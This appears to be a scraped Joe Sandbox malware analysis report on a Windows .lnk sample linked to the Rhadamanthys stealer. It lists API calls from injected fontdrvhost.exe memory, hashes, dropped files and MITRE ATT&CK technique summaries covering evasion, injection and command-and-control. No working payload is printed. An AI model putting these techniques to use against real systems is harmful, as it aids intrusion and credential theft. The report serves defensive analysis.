Opcode Fuzzy Hash: 00762af9e337a6805c8ac2cb9da72729d3ba67172526ae018d23e5fce0be16ff
Instruction Fuzzy Hash: 24E06D742007118BD3B0AF65E408B46BAE4AB15704F00887FE481E3681EBB8E8448FAA

Analysis Process: fontdrvhost.exePID: 8172, Parent PID: 6088COMMON

Executed Functions

Function 00B602D8 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 169memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 00B60326

Part of subcall function 00B600A4: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 00B600CD
Part of subcall function 00B600A4: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00B60279

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 00B60378
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 00B603E7
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00B60407
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 00B6042E
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 00B60456
CloseHandle.KERNELBASE(?), ref: 00B60471

Strings

,, xrefs: 00B60356

Memory Dump Source

Source File: 0000001E.00000003.1859359262.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_b60000_fontdrvhost.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction ID: 35d92aa87fe6e5b59d83506d3928aaac66fc424a402d2316d910ccb8ad0e3b73
Opcode Fuzzy Hash: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction Fuzzy Hash: DB6112B5910209EFDB20DFA6C884ADEBBF8FF08354F148569F659A7240D734E941CB50

Function 00B600A4 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 00B600CD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00B60279

Memory Dump Source

Source File: 0000001E.00000003.1859359262.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_b60000_fontdrvhost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: af48661a863eb77f05ac57705b40e530bf39593b604bf93077acecf3f582efd4
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 3571AA71A1424ADFCB41DF99C895BEEBBF0EF09314F2440A5E461FB241C238AA81DF64

Analysis Process: fontdrvhost.exePID: 6372, Parent PID: 6088COMMON

Execution Graph

Execution Coverage:	33.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	83.3%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000001B0277D1CF4 Relevance: 3.3, APIs: 2, Instructions: 278
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001B0277D1F92
CloseHandle.KERNELBASE ref: 000001B0277D1F9B

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID: AcceptCloseConnectHandlePort
String ID:
API String ID: 3811980168-0
Opcode ID: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction ID: b6381ce317433fb44bd033a9513ba2959afc4dd9edd86dbdedf923f2d0db0298
Opcode Fuzzy Hash: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction Fuzzy Hash: DE91A230908E088FDB75EB18C4857E673E1FF9C310F15869EE49BC7296EB34A8468781

Function 000001B0277D0AC8 Relevance: 3.2, APIs: 2, Instructions: 185
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001B0277D0C14
NtAcceptConnectPort.NTDLL ref: 000001B0277D0C5E

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction ID: 2b6fb7c0495afc9a2ac4d56e05961f420d245a03501637b9da1e3520106becc8
Opcode Fuzzy Hash: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction Fuzzy Hash: 1F512734918A550AE33DA638C8997BAB7D0FB8A305F34559ED0F7C51A3DF24C94AC682

Function 000001B0277D1AA4 Relevance: 3.2, APIs: 2, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001B0277D1AE9

Part of subcall function 000001B0277D1870: GetProcessMitigationPolicy.KERNELBASE ref: 000001B0277D1943

NtAcceptConnectPort.NTDLL ref: 000001B0277D1BE3

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort$MitigationPolicyProcess
String ID:
API String ID: 2923266908-0
Opcode ID: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction ID: da70efd4f49fda8c6bb89994ccb279ae872f1bd8057c9142ad5973867c820898
Opcode Fuzzy Hash: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction Fuzzy Hash: E441F130608B488FDB54DF2CC8897967BD0EB59320F0483AEE85ACB2D7DB34C9498795

Function 000001B0277D15C0 Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,000001B0277D1E3A), ref: 000001B0277D1654

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction ID: d6b04ae9cdf45427a8f02acc80c4b39a68593c481a35ef83386bcd9f55742608
Opcode Fuzzy Hash: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction Fuzzy Hash: AD216671908B048FDB55DF58C4C96A6B7E1FF6C305F154A6EE44AC7250DB31D889CB41

Function 000001B0277D1870 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 000001B0277D1943

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction ID: 130c29c086f29e18ca7be98e2d4886a4c9ef06231da210c4d211069151f550e3
Opcode Fuzzy Hash: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction Fuzzy Hash: CC318E30900A474AFBB69668C8A87F272D3EF9C310F1691E9C015D71D2EF69CD8DC680

Non-executed Functions

Function 000001B0277D0511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2271388538.000001B0277D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0277D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_1b0277d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction ID: 1684949b0e2b346c4f6e13502068689c61c9b2d028cdf62c4328b71d82623ec0
Opcode Fuzzy Hash: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction Fuzzy Hash: CFB01130E2AA00C2E3880E0AB8023A0F2B2C30B300F02B2322002F3220CA28CC08028F

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CNUXJvLcgw.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Rhadamanthys

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_af1411e0-60b7-4355-9705-3d59f33d50eb\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD710.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD7BD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD80C.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0dd0bca1-b700-47bf-a37d-fdd918cac765.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b040335-05e7-493b-bbcb-0ea5f1977337.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57426db8-e870-4061-bb52-3928e92fbbb4.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7c29a309-55c0-409a-b3a2-8c3f2ef54ca3.tmp

Windows Analysis Report
CNUXJvLcgw.lnk

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre